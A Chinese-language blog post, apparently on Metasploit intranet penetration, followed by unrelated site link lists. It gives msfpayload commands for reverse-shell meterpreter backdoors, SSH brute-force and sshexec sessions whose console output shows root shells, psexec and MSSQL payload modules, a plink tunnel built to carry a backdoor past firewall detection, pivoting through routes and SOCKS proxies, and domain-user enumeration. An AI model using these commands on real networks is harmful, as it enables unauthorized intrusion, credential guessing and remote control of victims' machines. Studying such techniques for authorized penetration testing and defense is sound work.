Metasploit 内网渗透篇
0x01 reverse the shell
File
通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行。本地监听即可获得meterpreter shell。
reverse_tcp/http/https => exe => victim => shell
reverse_tcp
windows:
msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe
Linux(x86)
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell
reverse_http
msfpayload windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe
Login privilege
在获得一些登陆权限之后获得meterpreter shell的方法。
SSH
ssh_login
模块路径:auxiliary/scanner/ssh/ssh_login
msf exploit(sshexec) > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASS
set PASSWORD set PASS_FILE
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > exploit
[*] 192.168.1.104:22 SSH - Starting bruteforce
[*] 192.168.1.104:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.104:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.104:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.104:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.104:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 4 opened (192.168.1.105:54562 -> 192.168.1.104:22) at 2014-08-07 22:55:54 +0800
[+] 192.168.1.104:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions
Active sessions ===============
Id Type Information Connection
-- ---- ----------- ----------
4 shell linux SSH root:toor (192.168.1.104:22) 192.168.1.105:54562 -> 192.168.1.104:22 (192.168.1.104)
msf auxiliary(ssh_login) >
这里metasploit在探测ssh弱口令时,如果发现存在,则会返回一个linux shell,注意此时不是meterpreter shell。接下来可以使用
sessions –u id
将linux shell升级为meterpreter shell,本地测试失败了。:(
sshexec
模块路径:auxiliary/scanner/ssh/ssh_login
注意这个模块BT5下是没有的,kali中则存在。
msf> use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
msf exploit(sshexec) > set LPORT 8080
LPORT => 8080
msf exploit(sshexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(sshexec) > set PASSWORD toor
PASSWORD => toor
msf exploit(sshexec) > exploit
[*] Started reverse handler on 192.168.1.105:8080
[*] 192.168.1.104:22 - Sending Bourne stager...
[*] Command Stager progress - 40.39% done (288/713 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 192.168.1.104
[*] Command Stager progress - 100.00% done (713/713 bytes)
[*] Meterpreter session 3 opened (192.168.1.105:8080 -> 192.168.1.104:40813) at 2014-08-07 22:53:12 +0800
meterpreter >
smb
模块路径:exploit/windows/smb/psexec
当使用smb_login扫出windows的弱口令时,可以尝试使用这种方法获取shell。 这是在内网中获得windows shell最基本的方法,在登陆域机器时需要设置Domain参数,否则登陆错误。
正如之前提到的show advanced,每个模块都有高级参数设定,这里的psexec就可以设置advanced中的EXE参数达到执行攻击者本地任意文件的目的(见参考<1>)。
如果目标机器有杀软或者其他简单的防护措施呢? 那么可以尝试只执行命令
psexec_command
模块路径:auxiliary/admin/smb/psexec_command
这里需要注意的是psexec.exe(pstools中的工具)如果不能成功执行,那么psexec_command或许是可以执行的,并且大多数的情况下metasploit中的psexec都可以用,而psexec.exe则不能用 sqlserver
msf exploit(psexec) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options
Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD cmd yes Which payload delivery method to use (ps, cmd, or old)
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(mssql_payload) >
在获得sql server的登陆权限后同样可以快速的获得meterpreter shell。
注意这里METHOD选项,三种方法都要使用XP_cmdshell,而第一种ps是使用powershell,第二种需要使用wscript.exe,第三种则要用到debug.com。 本地没有环境,就不截图演示了
others
不管是什么场景,只要能转换成文件上传和执行权限就可以得到shell。在获得一种权限时当然可以先google一番是否有可适用的脚本,如果没有再分析是否能转换为文件操作和执行权限。如果可以那就可以得到shell了。 比如:
mysql and sqlserver ..etc => file/webshell =>shell
本地同样也测试了下tunna里自带的msf插件,测试了php版的。代码大致是这样的
先本地生成一个meterpreter.exe(文件名不随机),
然后上传到c:\windows\temp\meterpreter.exe。
再通过php的exec函数执行。测试的时候发现代码生成meterpreter.exe时LHOST参数有误,改了rb代码之后终于在错误中弹回。
0x02 pivot with metasploit
在获取到跳板机一定权限后,如何充分发挥跳板功能呢?这部分内容将简单的介绍几种常见的方法。
添加路由表
这是在metasploit中最常用的方法,在添加路由表和session的关系后,便可以使用msf中的模块跨网段扫描或攻击。方法有很多,这里有个脚本autoroute可以快速添加路由表(如上图),也可以将当前session置于后台(backgroud),然后用route命令添加。
Socks4a代理
这里使用auxiliary/server/socks4a模块,需要注意Proxychains不支持ICMP,所以在代理使用NMAP的时候需要使用 –sT -Pn参数。另外Proxychains的连接提示很乱,用kali自带的Proxychains代理使用sqlmap的时候看起来真的特别乱。在这里可以使用proxychains-ng。 先在kali中卸载proxychains,然后再安装proxychains-ng。
root@kali:~# git clone https://github.com/rofl0r/proxychains-ng.git
正克隆到 'proxychains-ng'...
remote: Counting objects: 842, done.
remote: Total 842 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (842/842), 465.92 KiB | 27 KiB/s, done.
Resolving deltas: 100% (554/554), done.
root@kali:~# cd proxychains-ng/
root@kali:~/proxychains-ng# ./configure --prefix=/usr --sysconfdir=/etc
Done, now run make && make install
root@kali:~/proxychains-ng# make && make install
之后使用proxychains4 -q 选项运行,然后就不会有杂乱混杂的输出了。
ssh
meta_ssh
当有一个ssh登录权限后,可以使用这个插件在ssh会话基础上建立链接(见参考<2>)。
之后进入shell,查看网卡IP信息,然后退出再添加路由表。
再尝试扫描5.5.5.0/24这个段,然后对这个段中的5.5.5.134进行弱口令扫描。
发现可以获得结果。
ssh/plink.exe
还有一种利用SSH的方式就在windows下使用plink反弹,这样数据包经过SSH加密后,便可以躲过防火墙的检测。同理在linux也是一样的。 首先生成反弹到本地的reverse后门。
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5566 > ~/Desktop/backdoor_reverse_localhost.exe
然后开启本地监听,再将plink和backdoor.exe通过webshell上传。然后执行
echo y | plink.exe -L 5566:192.168.6.131:6666 192.168.6.131 -l root -pw toor
之后运行backdoor.exe,meterpreter就通过ssh tunnel建立起来了。
0x03 内网扫描
Metasploit对于常见服务(smb/ssh/mysql/mssql/oracle/ftp/tfp/ …etc)扫描可以做到版本信息(banner)、登录验证等。
简单过程可以参考之前的笔记《msf内网渗透小记》
具体扫描的脚本路径在/usr/share/metasploit-framework/modules/auxiliary/scanner下,可以根据需求自行发现。
常见的扫描端口:7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665
当然也可以使用rc脚本(basic_discovery.rc)。
另外内网里还有一处信息的搜集就是snmp,如果有交换机存在snmp弱口令(团体字符串),那么便可以通过snmp收集路由表信息和VLAN划分信息等。
一般网络都会在vlan划分时备注信息,比如Vlan100是x部门,Vlan200是y部门等等。 不同品牌、型号的交换机在获取这一信息时所需要的OID可能不同(大部分不一样),而snmp又是在udp的161端口,在交换机没有开放ssh、telnet、web时\或者开放以上服务,端口又未能做转发时,则可以在知道具体的OID值后通过改写snmp_enumusers.rb脚本实现。
0x04 域渗透相关
推荐几个AD下渗透的扫描脚本(见参考<3>,下同)
psexec_Loggedin_users
这个脚本可以找到当前段每个IP所登录的用户。
local_admin_search_enum
这个可以找到当前登录管理账户的IP和用户名。
psexec_scanner
批量执行psexec获得shell,脚本里有个psexec的函数,绝对是改写的好范本。见参考<4>
更多metasploit关于windows域渗透的脚本见参考<5>
0x05 后记
关于内网及域下渗透并不一定需要metasploit,更多的是与其他工具的配合。而且这一过程思路(见参考<6>)和对AD的理解明显比会用工具重要。metasploit只是提供了一个自动化发现利用的tunnel,如果简单理解ruby及metasploit代码框架,无论是学习还是渗透测试,都将会是一个有力的辅助。另外上文中的示例只是为读者所遇情况而构建脚本时的参考。
0x06 参考
<1> http://opexxx.tumblr.com/post/35763770674/btb-security-how-to-make-custom-exes-for-deployment
<2> https://github.com/dirtyfilthy/metassh
<3> http://www.pentestgeek.com/2012/11/03/find-local-admin-with-metasploit/
<4> http://www.darkoperator.com/blog/2011/12/16/psexec-scanner-auxiliary-module.html
<5> https://github.com/darkoperator/Meterpreter-Scripts/tree/master/post/windows/gather
<6> http://www.freebuf.com/articles/web/5901.html
Metasploit 内网渗透篇的更多相关文章
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- 内网渗透测试思路-FREEBUF
(在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...
- 内网渗透 关于GPO
网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...
- MSF 内网渗透笔记
进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...
- 内网渗透之IPC,远程执行
开启服务 net start Schedule net start wmiApSrv 关闭防火墙 net stop sharedaccess net use \\目标IP\ipc$ "&qu ...
- 7.内网渗透之windows认证机制
文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...
- Linux内网渗透
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...
- 内网渗透之Windows认证(二)
title: 内网渗透之Windows认证(二) categories: 内网渗透 id: 6 key: 域渗透基础 description: Windows认证协议 abbrlink: d6b7 d ...
- [原创]K8 Cscan 3.6大型内网渗透自定义扫描器
前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...
随机推荐
- 搭建一个SSM框架
刚好学完springMVC,mybatis简单的组合,总结一下 1.创建一个maven项目,引入jar包 一共这么多,除了oracle jar包是我手动添加到lib里,其他都是通过pom.xml引入的 ...
- 59、常规控件(2)TextInputLayout-让EditText提示更加人性化
提示语用在显示. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" andro ...
- Hibernate 中多对多(many-to-many)关系的查询语句
两个对象: 学生表:Student 课程表:Course 两者的关系是多对多,当查询Student对象,并以Course对象作为条件时的sql语句写法如下: select pa from Studen ...
- thinkphp 模板里嵌入 php代码
<php> echo 'nihao';</php><?phpecho 'gge';?> Php代码可以和标签在模板文件中混合使用,可以在模板文件里面书写任意的PHP ...
- 【BZOJ4504】K个串 可持久化线段树+堆
[BZOJ4504]K个串 Description 兔子们在玩k个串的游戏.首先,它们拿出了一个长度为n的数字序列,选出其中的一个连续子串,然后统计其子串中所有数字之和(注意这里重复出现的数字只被统计 ...
- A day
今天推荐一部微电影,从老人的视角看这个社会. 老人在途中买橘子的经历仿佛是看到了当年自己的影子. A day对于有些人来说,很长.对于某些人来说很短暂.这一天所做的事情就是穿过马路走过天桥去水果店买四 ...
- Python设置默认编码为UTF-8
1.在Python\Lib\site-packages目录下创建一个sitecustomize.py文件 源代码: import sys sys.setdefaultencoding('utf-8') ...
- Kubernetes初探:原理及实践应用
总体概览 如下图所示是我初步阅读文档和源代码之后整理的总体概览,基本上可以从如下三个维度来认识Kubernetes. 操作对象 Kubernetes以RESTFul形式开放接口,用户可操作的REST对 ...
- apache (web服务器) ->php->mysql,xampp与wamp比较,WAMP与WNMP有什么区别
wamp环境 1.W:windows 2.A:APACHE 3.M:mysql 4. p:php wnmp环境 1.W:windows 2.A:APACHE 3.n nginx 4. p:php WA ...
- VB 十六进制转汉字的函数
Public Function HexToStr(ByVal strs As String) As String Dim i As Integer, tmp As String, n If Len(s ...